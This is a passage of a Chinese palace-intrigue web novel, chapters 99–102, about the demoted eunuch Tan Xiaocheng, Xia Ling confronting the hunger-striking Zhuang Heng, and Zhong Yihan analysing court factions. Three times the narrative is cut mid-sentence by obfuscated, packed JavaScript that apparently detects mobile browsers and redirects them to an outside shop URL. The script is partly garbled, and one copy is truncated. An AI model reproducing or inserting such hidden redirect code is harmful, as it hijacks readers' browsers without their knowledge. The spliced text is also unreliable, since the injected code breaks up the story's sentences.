“另一半钱,你帮我给小汤。但是如果就这样拿给她,这丫头必定是不会要的。这些钱就请先放到你这里,若是之后她遇见什么事,暗中用这些银子帮一帮她,莫要让她受什么委屈。” 听到此处,夏绫终是也红了眼睛,郑重答应他道:“小谭哥你放心,我也拿小汤当自己妹妹,必不会委屈她的。” 谭小澄含笑点了下头,算是安心了。 他忍着疼,缓缓动了动身子,双手撑住地面,俯下脊背,竟是要对夏绫行大礼。 夏绫连忙搀住他:“小谭哥,你这是做什么!” 谭小澄俯身道:“夏姑娘,我这一生战战兢兢惯了,怕伺候不好主子,怕得罪了同僚,所以万事求稳,也就多了许多古板与不近人情。之前若说了什么让你觉得不舒服的话,万望你包容。今后的事,多谢你了。” 夏绫轻轻将他扶起来:“你这话就见外了。小谭哥,能同你相识一场,我亦荣幸之至。” 夏绫喊来了小吴和小金,让他们重新背起谭小澄,将他送到宫外安乐堂去。 小汤拉着夏绫的衣袖,自知留不住他,但目送着那三人蹒跚离去的背影,仍是泪流满面。 她扑在夏绫怀里哭的泣不成声:“小乔姐,我怎么办,我该怎么办啊……” 夏绫叹了口气,慢慢拍着怀里的小姑娘,轻声说:“小汤,若往后小谭哥做不了你的依靠,你便做他的。强大起来,如果你还想要这个家,靠你自己,依旧能撑得起半边天。” 99. 做客夏宅 两三天后,宁澈同夏绫递了个消息,让她去刑部看一看庄衡。 虽不知具体是出了什么事,但宁澈既这样说,境况必定是不太好,夏绫当即换了衣服出宫去。 在刑部门前值守的小吏看过夏绫的牌子,得知她是宫里来的人,忙引着她往衙门里走去。夏绫片刻没有耽搁,直接指明要去右侍郎的衙房。 她敲了门进去,钟义寒正着一身官服坐在案前批示卷宗。见夏绫来了,他忙起身拱手道:“小乔公公,您可算来了。” “钟大人,”夏绫同还礼道,“庄大人是怎么了吗?皇上说让我过来看看。” 钟义寒压低声音,面露忧色:“庄大人已有三日水米未进了。” 夏绫的眉毛拧了起来。 “他这是要做什么!绝食吗?” 钟义寒摇摇头:“他什么都不肯同下官说,只说要面见皇上,可皇上又不见他。这么一尊大佛押在刑部这,下官也属实觉得烧得慌,盼您来开解一二是最好不过的了。” 夏绫明白了,点头说:“钟大人请带路吧。” 刑部大狱,因是个还有机会讲理的地方,较之诏狱要宽阔些,也不似那般阴森可怖。 钟义寒拿了钥匙,提了灯盏,领着夏绫往大狱深处走去。 庄衡被关在一间清净且宽阔的号房里,里面的桌椅床铺一应俱全,且打扫的十分干净。一看便知,刑部为了供着这位指挥使大人,能做的努力已都做足了。 夏绫远远便看到了牢狱之中的庄衡。他只着了一件素白单衣,身形依旧挺拔劲朗,只不过因为多日未进水米,眼下染上了几分憔悴。 庄衡正坐在桌边,似是正在写着什么东西。 方听见一丝声音,多年来担任监察职责的敏锐立刻让他察觉到有人来了,他迅速将桌上的纸张叠好塞进袖子,装作什么都没有发生。 但他这小动作还是让夏绫给看见了。 “庄大人,你在做什么?” 夏绫疾步跑过去,隔着牢门问他道。钟义寒紧随其后,将门上的锁链卸下。 庄衡站起身来,没有作答,神情似乎极为戒备。 三人就这么无言对峙着。夏绫暗暗给钟义寒递了个眼神,忽喝到:“钟大人,制住他!” 钟义寒眼疾手快的窜到庄衡背后,一把搂住了他的腰。夏绫见状也赶忙扑上去,钳住庄衡的手腕,就要掏他袖子里藏的那张纸。 要是搁在平常,如钟义寒这样清瘦的文官,是万万不可能挟制庄衡半分的,更遑论夏绫这样的小女子。可毕竟已经饿了三天,庄衡身上的力气也耗的差不多了,竟让这两人合力得了手。 “还给我!”庄衡怒道。可钟义寒在背后抱住他,怎么也不松手,竟让他一时挣脱不开。 夏绫哪听他的。她拿着那页纸跑到半丈开外,展开来就读,越看越气的浑身发抖。 这封信是写给皇上的。上面写明了他将银钱和信物托人送给方苒的经过,从头到尾都是他一人所为,与方苒无关。而后言辞恳切的说到,他此举只为报年少时恩情,断无半分私情杂念。为证清白,他愿以死明志,只盼皇上看在过去的情分上,能留方苒一条性命。 说好听了这叫谏表,说难听了,这就是遗书。 事已至此,庄衡也服了软,向夏绫恳求道:“小乔公公,你把信还给我。” 一股怒气在夏绫心头轰然爆发。 “庄衡!”她指着那人破口骂到,“你不用嘴吃饭脑子也给饿出毛病了?方苒不顾一切的保你,皇上费劲巴力的捞你,谭少监为了你们的事被人打的连站都站不起来!而你,竟然在这里绝食求死?方苒她真是看走了眼,才会豁出命来救你这么个玩意!” 夏绫这样骂着,倒是先把自己给骂的动感情了。这段时日,她身边的人一个接一个的身陷囹圄,她身在其中却什么都做不了,如何能不难受。在宫里她不敢发疯,忍到今天,终于是忍不住了。 刀山火海都踏过的指挥使大人,此时竟被她骂的也红了眼眶。 “可我不能看着她死啊。” “谁说她就得死了?”夏绫的气息犹未平,“她没有做过的事,任谁也不能定她的罪。况且方苒也是我多年的挚友,我也不会眼睁睁的看着她死。” 庄衡哽了哽喉咙:“那,我该如何救她?” 夏绫用袖子抹了把眼泪:“好好吃饭,好好活着。事情还没到山穷水尽的那一步,有皇上在,有我在,总会有转机的时候的。” 钟义寒看这两人吵上了头,忙来打圆场,吩咐监守小吏去准备一碗温补的粥来给庄衡大人。 好在吃食送来的很快。钟义寒双手将碗递到庄衡面前:“庄大人,多少先用一些吧。” 看夏绫就坐在凳子上生闷气,他又凑过去劝到:“小乔公公,看这样子庄大人也不死了,您要不先回去?” 夏绫抽着鼻子说:“我盯着他吃完了再走。” 庄衡端着碗坐在床上,见夏绫背对他坐在桌边,时不时的抹一抹眼泪,就是不说话。 他忽然觉得自己陷入了一种十分尴尬的境地里。 把人家小姑娘给惹成这样,是不是得说几句好话哄一下? 庄衡抿了抿嘴唇,开口道:“小乔公公,您别哭了,是我不对。” “别喊我。”夏绫眼泪吧嗒吧嗒往下掉,“不是想死吗?死了多好,正好我耳根子清净。” 这句话可完全超出指挥使大人的理解范围了。明明刚才是骂他求死的,现在自己不想死了,怎么又说死了好呢? 或许也是真的饿了,庄衡决定不再思考这个问题,闷头吃起饭来。 等庄衡吃完了,夏绫也哭够了。 夏绫红着眼睛站起身来,赌气同钟义寒说:“我看庄大人还是太闲了。在这住着也不耽误庄大人办公,北镇抚司的案卷是太少了么?” 钟义寒自然应是:“臣立马让人去北镇抚司取案卷过来,保证过晌就让庄大人看上。” 夏绫轻哼了一声,懒得再理庄衡,随钟义寒一同走出了刑部大狱。 到了日光下,钟义寒才看清,身边的这个小内侍,眼睛哭的红红的,鼻子也哭的红红的,泪珠压在眼睫上,竟秀气的像个小姑娘。 许是因为这人长得过于好看,虽说是个内侍,可这样含着泪的模样一点不显矫揉造作,反而让人心生怜惜。 钟义寒贴心的递了方帕子给她擦脸。 对于这位小乔公公,钟大人有他自己独特的理解。 明眼人都能看得出来,这位小乔公公在皇上面前的地位过于特殊,无论是在御前说话还是做事,都不似寻常内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13187000|125276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侍那般唯唯诺诺,反而处处透着一种放纵和松弛。 这很难不让人产生遐想,她同皇上究竟是何种关系。 其实倒是也不难推测。看这位小公公的样貌,说是人间尤物也不为过,连寻常人瞧着都觉赏心悦目,像皇上那样有权势的人,生出什么邪念来倒也正常。 可钟义寒并没有因为这就对小乔内侍心生鄙夷。 那位爷的狗脾气他也领教过了,被他看上是件什么值得庆幸的事情吗? 更难能可贵的是,这小乔公公虽是正得圣心,却没有半分趾高气扬的架子,甚至还很虚心好学。一想到这样勤恳踏实的一个人,却要在宫里同那位活祖宗日夜为伴,甚至还可能不得不委屈求全来满足他的某些无理要求,钟义寒就止不住的同情小乔。 再想起自己一次次同景熙陛下并不愉快的相处,心中不由得暗叹一句,同病相怜,惺惺相惜矣。 夏绫拿帕子将眼泪擦干净,完全不知道钟义寒在心中已经将宁澈刻画成了一个怎样的恶魔。 在宫中没人听她诉苦,好不容易出来看到个熟人,夏绫不想这么快就回去。 “钟大人,您说我可该怎么办呢?” 钟义寒正了神色:“您是说谭少监的事?” 夏绫点点头:“不止。还有庄衡大人,方苒,皇后娘娘。这局可该怎么解呢?” 钟义寒想了想道:“皇上发火那天,臣也在场。下官倒是觉得,这件事对于谭少监来说并非死路,而是机会。” 一丝疑惑在夏绫眼中闪过:“怎么讲?” “这事不是一两句话能说清楚的,我得同您分析一番。”钟义寒思量片刻,“这刑部也不是说话的地方,正巧下官今日不当值,如若您不嫌弃,不如到寒舍小坐片刻?” 夏绫觉得这样也没什么不行,便答应了他。 钟义寒换了便服,自掏腰包雇了辆马车,同夏绫一道回到他在灯市口的这间小院子。 夏绫抬头看了看院门牌匾上写的“夏宅”二字,竟有种恍然隔世之感。 要细算来,这间院子的房契上写的是她的名字,叫做夏宅也没有半分错处。如此看来,她不应该算是来做客的,倒是来视察自己的“私产”的。 只不过,若钟义寒知晓了自己才是这宅院背后的东家,不知会作何感想。 这是一间一进的四合院,简朴温馨,被打理的十分整洁,钟义寒爱干净的性子在他的私邸显露无余。 正房对着的明间用于会客,次间被钟义寒改做了书房。 东厢房是钟义寒的卧室,伙房浴房也都在这一侧。 而西厢房就让夏绫有些看不懂了。虽未观得里间的陈设,但看窗格式样与檐下装饰,竟像是个女子的闺房。 夏绫有些犹疑的开口问到:“钟大人……是和嫂夫人同住于此吗?” “噢,非也非也。”钟义寒很快否认到,“臣孑然一身,至今尚未婚配。” 他目光同看向西厢房,解释道:“这间屋子,是臣为舍妹留的。” 夏绫这还是头一遭知道钟义寒竟还有个妹妹。只不过,什么叫给舍妹留的?他妹妹是出嫁了还是怎么样的,为何从未听他提起过? 但这毕竟是人家的私事,夏绫也不便多问,只按下自己的好奇心,同钟义寒去了正堂。 100. 一石三鸟 钟义寒请夏绫落了座,去准备了茶水招待她,而后又在书房取来纸笔,铺在桌上同夏绫开始了他的分析。 “其实这事说白了,就是何掌印想坑庄衡大人。结果没想到,谭少监在中间插了一道,这突然掉下个锅来没地儿甩,只能暂时先扣他脑袋上了。” 夏绫有些诧异。她只知何敬与谭小澄之间并不和睦,竟不知他与庄衡之间还有龃龉。 “嗯,何掌印与庄大人,他们是有过什么矛盾吗?” “这可就说来话长了。或者说,这不是何掌印与庄衡大人之间矛盾,而是内府与北镇抚司之间的矛盾。” 钟义寒不疾不徐的讲到:“自文皇始,建锦衣卫与东缉事厂,用于巡察缉事,直达天听,并称为‘厂卫’。经王朝百年风雨,因东厂为内官所把持,天子近臣,最易得君王宠信,故大多数时候,东厂是要压北镇抚司一头的。尤其是到了宣明一朝,先帝极为倚仗东厂,东厂厂督彼时何等威风,连锦衣卫指挥使见了,都是要执下属礼的。” “可到了景熙一朝,情况整个掉了个个儿。今上既看不上东厂的威风,也看不惯锦衣卫的阴损,所以御极之初,下狠手整饬过北镇抚司,撤了先前的指挥使,将庄衡大人提了上来。庄大人毕竟是皇上的嫡系,也确实是一个相当有能力的人,有他在北镇抚司坐镇,这锦衣卫皇上自然是越用越顺手,对庄大人也愈发倚重。不然你看现在,即便如司礼监掌印,见了庄衡大人也得恭恭敬敬的行礼称一声大人,你说这何掌□□里能咽的下这口气吗?” 夏绫摇了摇头,这自是不能的。她问:“那东厂呢,皇上就不用了?” “皇上当然想用东厂。”钟义寒答的肯定,“只不过,他现在还没有找到合适的人。现内府宦官,以何掌印为首,皆是自宣明朝一脉相承下来的,办事还是用的之前的老路子。内官上下自成一体,沆瀣一气,而对外仗着是天子近臣,恨不得骑到文官脑袋顶上来。虽是他们对陛下的忠心毋庸置疑,可若继续如此做,坏的是皇上的名声。” “今上现下意于建设海防,正是用人之际,急于在文官当中树立一个英明贤德的形象,招揽天下有识之官员肝脑涂地的替他干活。在这个裉节上,怎么可能由得宦官在中间胡搅合?所以只能暂将东缉事厂搁置一旁,任其式微,再徐徐图谋他属意的人选。” 夏绫想了想,小声问:“唔,既然何掌印不得皇上心意了,那皇上怎么不把他换了?” 钟义寒啧了一声:“东西坏了,第一反应肯定是看能不能修,而不是直接扔掉。何掌印跟在陛下身边伺候十几年了,其间没出过什么大纰漏,定是有他厉害的地方在的。况且现在以司礼监为首的内官,多以何掌印马首是瞻,皇上若是把他给换了,那其他秉笔写字要不要换?若是全都换了,皇上又哪里来的心力扶持出一个已调-教了十多年的老人呢?” 夏绫点了点头。她恍然回忆起来,当日谭小澄同她说的,庄衡大人和何掌印,皇上一个都不想舍。彼时她还没有完全理解谭小澄话里的意思,现在被钟义寒这么一点拨,顿时全都明了。 “咱们再说回这次的事情上来。”钟义寒拿起笔舔了墨,“何掌印这次揪住了私相授受的把柄,庄衡大人确实没得跑,要是透露给文官参上他一本,庄大人绝对会声名扫地。但是何掌印高明在哪了呢,他不直接拿着私相授受的证据发难,而是要用这个做威胁摁死方苒。试想,若是庄衡大人心中最记挂的人不明不白的冤死在宫里了,他还能同从前一样舍生赴死的为皇上效命吗?这才是诛心之道啊。” 说着,他拿笔在纸上落了几个字。左边一个“何”,右边一个“庄”,又在中间写了个“方”字,并用一条线将“庄”和“方”两个字连起来。 写罢他继续道:“况且,这件事何掌印没留下一点痕迹,庄衡大人的那只钱袋子,谁也没法说他就必须得认识。他知道皇上肯定想保庄衡大人,若是把私相授受的证据交给皇上,那结果肯定是不了了之,若是真的透露给文官,以皇上的心思,肯定会猜到他头上,敢在皇上眼皮底下耍心眼子,那他才真是自寻死路。所以,把方苒假做成畏罪自尽摁死在牢里,这个计划原本天衣无缝,可是万万没想到啊,中间杀出来个谭少监。” 钟义寒在“方”字的下面又写下一个“谭”字。 “谭少监这个人,说实话我是有些敬佩他的。说到底,方苒的死活跟他有什么关系?他只要装作无事发生,照样安安生生的过他的日子,但他却真有胆量,用这样,嗯,有些惨烈的方式,结结实实的摆了何掌印一道,硬是把方苒给保了下来。” 说到这,钟义寒随手拿起桌上的一个空茶碗递给夏绫。 “那么到现在,就产生了一个锅,关于究竟是谁欺瞒了皇上的问题。小乔公公,如果你是陛下,这口锅你会往谁脑袋上扣?” 夏绫看向了纸上的几个字。庄和何,都是皇上想保的,肯定不能动。而方苒是和庄衡连在一起的,动了她就等同于动了庄衡,也不行。想了想,她最后只能把茶碗扣在了“谭”字上。 钟义寒点了点头:“这也就是现在的局面了。” “事情发展到这一步,也就有两个把柄攥在了皇上手里。一个是庄衡大人私相授受,一个是何掌印想私底下搞垮庄大人。私相授受这事先按下不表,毕竟这个罪名可大可小,全看皇上怎么拿捏。但何掌印那摊的事就有些麻烦了。他竟把心思动到了前朝,还妄图染指皇上的亲信要员,就咱们这位陛下的脾气,你猜还能不能容得下他?” 夏绫绷着嘴摇了摇头。凭她对宁澈的了解,他眼里是不揉沙子的。 “可是钟大人,你方才不是还说皇上是要保何掌印的吗?” 钟义寒想了想道:“这么说吧,皇上是想保何掌印的一部分。让他把有用的那部分留下,没用的那部分踢出去。而这件事,恰恰就给了他一个契机。皇上之所以现在还没有动何掌印,是想找一个一劳永逸的法子,既让内府此后再不敢打前朝的主意,又让何掌印自己甘愿放一部分权出来,然后再扶持一个足以同何掌印抗衡的人以在内府中制衡。” 夏绫低头琢磨了片刻,忽然啊了一声出来:“那你说的这个人,是谭少监?” “不错。”钟义寒夸了她一句,“我猜从现在往后,何掌印的日子好过不了的。咱们圣上,在拿捏人心方面是一等一的高手。你说他要时不时的在何掌印耳朵边上阴阳怪气的敲打上两句,以何掌印那种善于揣摩圣意的人,只要一想到他做的那些事皇上心里都门清,晚上还能睡得着觉不?” 说了这许多,夏绫的思绪已逐渐明晰,她拄着下巴若有所思道:“所以,皇上打的算盘是,先将庄衡大人保下来,然后等何掌印开窍,让何掌印自己去拉谭少监出来。这样一来,庄衡大人会因为皇上救了方苒而感激,日后更会忠诚的替他卖命。何掌印因害怕经此一事会失了皇上的信任,日后必会安分守己,再不敢染指前朝。而谭少监本就正直纯良,再加以引领,或许就是执掌东厂最合适的人选,日后更可能与何掌印分庭抗礼,相互制衡。说到底,这些都是对皇上有利的,一石三鸟,对吗?” 钟义寒赞许道:“小乔公公果然聪慧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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钟义寒答:“日前,皇上命臣去宣武门下一间寿材铺查访,是否有位年轻妇人,曾在端阳节那日在店里拿过砒霜。经查,确有这样一位女子,在端阳节那日采买过一沓纸钱,还有两包砒霜。根据掌柜对那人的描述与当日同行内官的比对,臣基本可以确信,那位女子就是皇后娘娘。” 夏绫心中一颤。端阳节……那日,是她将纪瑶带出宫去的啊。莫非在那个时候,她心中就已有了赴死的打算了么。 钟义寒叹了口气:“可是只有这是不足以下定论的。若是要原原本本凿实事情的真相,还是要靠皇后娘娘自己的嘴说出来。” 夏绫点头说:“好,我明白了。” 她在钟义寒家又留了一盏茶的时间,起身道了告辞。走的时候,她管钟义寒要走了那只被当做“锅”的茶碗,她也想回去再好好再思量一番,这口锅究竟该甩到哪去。 到宫中之时,已近黄昏。夏绫直接回了乾清宫,正好赶上传膳的时候,便跟宁澈一起吃了一些。 饭桌上,她同宁澈说了庄衡的境况,以及钟义寒在寿材铺所查访到的事情。对于内府与北镇抚司之间的那些恩恩怨怨,她都只字未提。 宁澈听后并未半分讶异,显然他是早已知道了的。夏绫忽猜想,或许他今日就是故意要让自己去见钟义寒的,借钟义寒的嘴,开解这段时日压抑她的心结。 只是二人都心照不宣的没有说破。 夏绫想了想道:“阿澈,我觉得还是得从娘娘身上再下些功夫。太医说,娘娘体内的毒其实已排的差不多了,可是她自己没有求生的意志,所以才迟迟不愿意醒来,如果一直这样耗下去,总会有油尽灯枯的一天。所以我想尝试一个方法,希望你能准许。” 宁澈道:“你但说无妨。” 夏绫说:“我想搜罗一些同高云瞻相关的文字,他人记录的也好,他自己书写的也好,我拿来去给娘娘读一读,我总觉得,她是能听见的。” 宁澈并未思索太久,便答到:“好。只不过这人故去也有些年头了,东西又都在陕西行司,若叫人去搜罗,怕是也要费些时日。” “没关系的。”夏绫微叹,“现在都已经这样了,有总比没有好。就算是我再给自己一丝希望吧。” 101. 雪落天寒 腊月初四,京城下起了自入冬以来的第一场雪。 大雪是从入夜后开始下的,纷纷扬扬,万籁无声,直到四更天时才停下来,宫道中堆积的白雪可没脚踝。 冬日天亮的晚,更鼓房已打过五更的晨鼓,可天色迟迟不见泛白。这正是一天当中最冷最寒的时候。 却已有宫中杂役起床开始劳作。 被大雪覆盖的宫道中留下两条长长的车辙,今日逢四,又是将宫中堆积粪壤运出宫外的时日。 谭小澄拉着沉重的木板车,在雪地中落下的每一步都格外艰难。 他在安乐堂养了近一个月的伤,才方能下地走动,便得了司礼监发来的调令,命他即刻去杂役房供职。谭小澄耽搁不得,只得拖着尚未痊愈的身子,又回了紫禁城中。 是以他现在走起路来,仍有些瘸腿。 谭小澄将车前的粗绳套在肩上,双手拉住木板车前伸出的两根车辕,将身子压的极低,这样方能拉动身后的大车,随着他在这厚雪地中缓缓前行。 冷风如刀子一样往他领口里灌,身上不甚厚重的衣衫几乎要被吹透了。犹是这样,谭小澄的额上仍是起了一层热汗,他半分不敢停下来,生怕稍作休息,身上的汗顷刻间就会冻成冰。 到元武门时,宫门尚未开启。 谭小澄这才敢停下脚步,将头上的汗擦净,用装秽物的大桶挡住呼号的北风,缩在桶下短暂的歇息片刻。 宫门开启后,他得将这一车粪壤运到东安门外去,那处会有其他内侍接应,最后这车粪会被拉到南海子上林苑,用以给皇庄里的菜地施肥。 这一出一进,回到廊下家时,天已大亮。 谭小澄浑身冷的都僵了,他想进屋去烧些热水擦擦手,还未踏上屋门口的石阶,便听到背后有人喊他道:“你,过来!” 回过身,见是今日当差听事的总牌。 谭小澄走过去,低头见了礼。总牌脾气不小,喝到:“干什么呢,还不赶快去扫雪!” 逢大雪之日,是宫中杂役最忙碌的时候。不论白天黑夜,只要雪一停,这些杂差小火需立即去清理宫中各条主道,一旦路结了冰滑了主子,那便是大罪过。 谭小澄只得应是,仅在手心间呵了口热气,用力搓了搓,到廊庑下扛起扫帚,往宫道中去了。 扫雪是一个相当耗体力的活计。谭小澄低头清了有半个时辰的雪,杖刑后尚未痊愈的伤处便又开始隐隐作痛。他不得已只能扫一会,就直起身子来歇一会,这样一来,就比旁人要慢了许多。 总牌叉着腰,在宫道里来来回回巡视清扫积雪的进度。待走到谭小澄这里,总牌脸色明显沉了几分,突然抬腿一脚往谭小澄身后狠踹过去。 谭小澄毫无防备,一头就扑倒在了地上,手掌擦着地面滑出去,当即就见了血。 周遭的小火听到动静,皆朝这边看了过来。 总牌知道谭小澄身上有伤,却还故意往他后腰上踹了一脚,破口大骂道:“没用的东西,磨磨蹭蹭的,是想让大家都跟着你一块吃挂落么!” 谭小澄脸贴在覆雪的地面上,缓了一会,才慢慢爬起来,在总牌跟前跪好道:“奴婢知错了。” 总牌见他老实巴交的,也没再发难,只哼了一声,背着手走开了。 待到晌午,宫道中的积雪总算清的差不多了。 杂役当中好赌者众,趁午饭时这一会的清闲,常三三两两聚在一起摇骰子赌钱。谭小澄同他们聊不到一起去,便找了一处背风的墙根,坐下来休息一会。 他从身上摸出来一个窝头,是他这一整日的口粮。虽是在衣服最里面揣着,但由于天实在太冷,还是冻得跟砖头一般。谭小澄小心翼翼的将油纸展开,在窝头上掰了一小块下来,含在嘴里稍微化了冻,才一点一点慢慢嚼了起来。 他就这样没有一丝情感的低头磨着牙,直到,一双简素的绣花鞋停在了他面前。 谭小澄停下了咀嚼的动作。他眼睫动了动,一时竟有些不敢抬起头来。 “小澄哥。”汤圆的鼻音有些浓。 谭小澄快速将窝头包好塞进袖子里,站起身来就想走。 汤圆急忙跑到他面前拦住他:“小澄哥,我给你带了热乎的饭,你吃一点吧。” 她手臂上挎着一个包袱,怀中抱着用棉套子包起来的盖碗。因怕碗里的东西凉了,她将自己的衣服解开,将盖碗护在怀里,整个人显得鼓鼓囊囊的,甚至都有点滑稽。 谭小澄皱了眉,低斥道:“这里不是你该来的地方,快回去。” 汤圆却不依。她将谭小澄拉回到墙根下,将带来的东西一样样拿出来都摆在台子上。 盖碗打开,里面是热腾腾的白米饭和炒青菜,一绿一白,摆的干净又好看。 小汤在自己袖子里抽了双筷子出来摆在碗上:“小澄哥,趁着热你快吃。” 而后她又忙着将包袱铺在地上展开:“我给你做了两双棉鞋,还有一身棉衣,裤子的地方我特意加厚了,你的伤才好,那处还是得多护着些,别落下病根。” 谭小澄只是木讷的站在一旁,可指甲早已深深抠进了肉里,他是逼自己用尽全身力气,不要靠近那姑娘一步。 “小汤,你之后……都不要来找我了。” 汤圆好像没听懂他在说什么。 “瞎说什么呢。”她强笑了一下,眼眶却已有些发红,端起那碗热饭递到谭小澄面前,“来,快点吃,以后我每天都来给你送饭。” 谭小澄哽了哽喉咙,内心却早已翻涌起滔天骇浪。 见他不动,小汤直接拉过他的手要把饭碗硬塞进他手里。 “我说了不用了,你听不懂吗!”谭小澄骤然吼了出来。拉扯之间,饭碗掉在了地上,好好的饭菜扣了一地,碎裂狼藉。 汤圆看了看摔碎的碗,又看了看谭小澄满掌心的新伤,低下头眼泪就落了下来。 “小汤,”谭小澄最见不得她哭,语气到底是不受控制的软了下来,“我现在的样子,只会拖累你。所以以后,我们断了吧。” 正当时,听到总牌的吼声又从罩房前传来:“谭小澄!” 谭小澄应了声,最后看了汤圆一样,终是狠下心转了身。 “总牌,您找我。”他在那人面前低头请示到。 或许是中午喝了些酒,总牌抬手就给了谭小澄一耳光。 “死哪去了?”他打了个饱嗝,“去惜薪司,把这个月的炭例背回来去。” 谭小澄一言未发,只是从地上抓了把雪,敷在自己被打疼的脸上,转身去了。 总牌冷眼看着谭小澄的背影,冲着他啐了一声。 “伺候过皇上又怎么样,什么玩意啊。” * 这厢宁澈派人给夏绫递了个消息,说是从陕西行司要找的东西到了。 夏绫一听着信儿,立马到乾清宫去取,路上走的太急,还不小心摔了一跤。 进了御书房,宁澈正坐在案前用朱批批示着内阁的票拟,何敬就站在他身边伺候笔墨。他未如往常一样,见夏绫进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211169|125276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来会在侧旁提醒皇上一句,而只是恭谨的低着头,一丝声响都不敢出。 “阿澈,我来了。” “嗯。”宁澈抬起头,见夏绫裙子上湿了一块,问她道,“这怎么了?” “嗐,路上滑,摔了一跤。不过好在穿得厚,没什么事。” 谁知宁澈啪一声将朱笔摔在了山字架上,连夏绫都给吓了一跳。 宁澈睇向何敬,冷声道:“现在连个雪都扫不明白了?” 何敬登时冒了一身冷汗,忙跪下道:“主子恕罪,是奴婢办事不力。” 自打那日开罪了谭小澄后,何敬就明显的感觉到,皇上对自己的态度也冷淡了起来,这已不是他第一回挨斥责了。 夏绫本想开口说,她是为了图快,成心抄了近路,那些小道本也不是往常会扫的地方,这也不能怪何掌印。但一时又想起钟义寒说的那句,何掌印这一段的日子不会很好过,于是将到嘴边的话又咽了回去。 “办事不力还在这杵着?出去。” 何敬心中讪讪,连忙叩头告了退。 他一走,宁澈便又恢复了寻常神色,显然心里是并没有真的动气的。 宁澈站起身来,从身后的架子上取下一摞用绳子系好的文书簿册递给夏绫:“乔乔,我能找到与高云瞻相关的东西,都在这了。” 夏绫见这摞东西得有两扎高,还真不少,点点头道:“阿澈,多谢你了。” 她没有在乾清宫停留太久,拿了东西就又匆匆赶回永宁宫去。 没想到刚走到西二长街,夏绫便看见汤圆揣着手正在这里等。她眼睛红红的,看样子是刚哭过。 “小汤,怎么了?” “小乔姐,”汤圆拉着她的手走到避风处,“我跟你说点事。” 小姑娘从袖子里掏出来一个鼓囊囊的钱袋,放到夏绫手中。 “这是我这些年自己攒的一些例银。小乔姐,其中的一半,能不能麻烦你托人送去河间府,小澄哥的老家。” 她低着头小声道:“他老娘有病,底下又有弟弟妹妹需要养。他弟弟想要念书,是个很刻苦努力的孩子,每年给先生的冰敬炭敬省不得,这时候少不了用银子。” “另外一半……我想给小澄哥。”汤圆一说起他的名字,就忍不住的带了哭腔,“可是我如果直接给他,他一定不会要的。小乔姐,我能不能拜托你,暗中去打点一下杂役房的总牌,让他不要总打小澄哥了。” 夏绫手中拿着钱袋,却觉得那其中有万斤的重量。 “你们俩这可真是……” 小汤哪里知道,同样的事,谭小澄也为她做过一次。 汤圆抹了把鼻子,眼睛依然红着:“小乔姐,我也不知道同他今后到底会怎样,这些钱就当是报答他这些年对我的好。不过我现在能想明白的是,自己多攒些钱总是没错的。我虽不是你和方苒姐那样拔尖的人,但有双还算巧的手,刺绣缝补,梳头上妆,这些都做得来。我今后不会只在仁寿宫守着里,会想办法多搞些银钱,如果你这边有什么门路的话,也请帮我牵线一二。” 夏绫心中叹了口气,只得在她肩上拍了拍:“好,我记下了。” 小汤道了告辞。夏绫目送着那纤小的背影踏雪而去,不时还抬手擦一擦眼睛。 天幕中似是有个巨大的棋盘,将这些人的命运囊括其中。夏绫有幸窥得了执棋人的盘算,对之后的棋局仍怀有期盼。可落在被围的棋子头上,艰难困苦,离合悲欢,个中滋味却是实实在在,一样都逃脱不了的。 102. 高氏云瞻 夏绫回到永宁宫,稍暖了片刻身子,将衣服上的寒气都驱散,才向纪瑶的寝阁走去。 纪瑶仍在沉沉睡着,任窗外雨雪风霜,似乎都早已与她无关。 夏绫轻轻坐到床边,绞了帕子为纪瑶擦了擦脸。这是她这段时日里每天都会做的事。 “瑶瑶,”夏绫揉按着纪瑶手上的穴位,像是在同她说话,又像是在自言自语,“今天外面下了好大的雪,平平整整的一大块白,就好像咱们在南边吃的云片糕一样。” 纪瑶只是安静的闭着眼,没有半分回应。在她醒着的时候,眉宇间时常会萦绕着一丝愁绪,而现在睡着了,眉心反而时时是舒展的了。 夏绫自顾自的说道:“我知道你不想醒过来,天地于你不仁,你便也想弃了苍天。可是瑶瑶,这一个月以来,苒苒被上了刑,小谭哥遭了贬,就连庄衡大人也下了狱。他们都是很好很好的人,所以我私心里还是很希望你能醒过来,去帮一帮他们。” 夏绫将纪瑶的被角又掖了掖,侧身坐在床边,无言的看了她一会。其实,她同纪瑶之间的关系,早已不是仅用“朋友”二字就可以一笔带过。 在宫中生活,人情最易凉薄,却也最易深厚。就如贫瘠之壤上开出的花,因为万里荒芜,所以格外珍贵。 就如她和傅薇,始于年长之人对后辈的怜惜与帮扶,可随着岁月的流逝,那种情谊早已超越血缘,演化成了一种浓于血水的亲情。 而她与纪瑶,也同样是这个样子。 末了,夏绫还是落下一声微叹。她站起身,取来那一摞同高云瞻相关的文书,解开绳子整理起来。 高云瞻这个人,宁澈曾完完整整的摸过他的底细。 此人无父无母,是沙场遗孤,被周老将军捡了回来,后跟着一起回了南京。 周老将军,是纪瑶的外祖父。 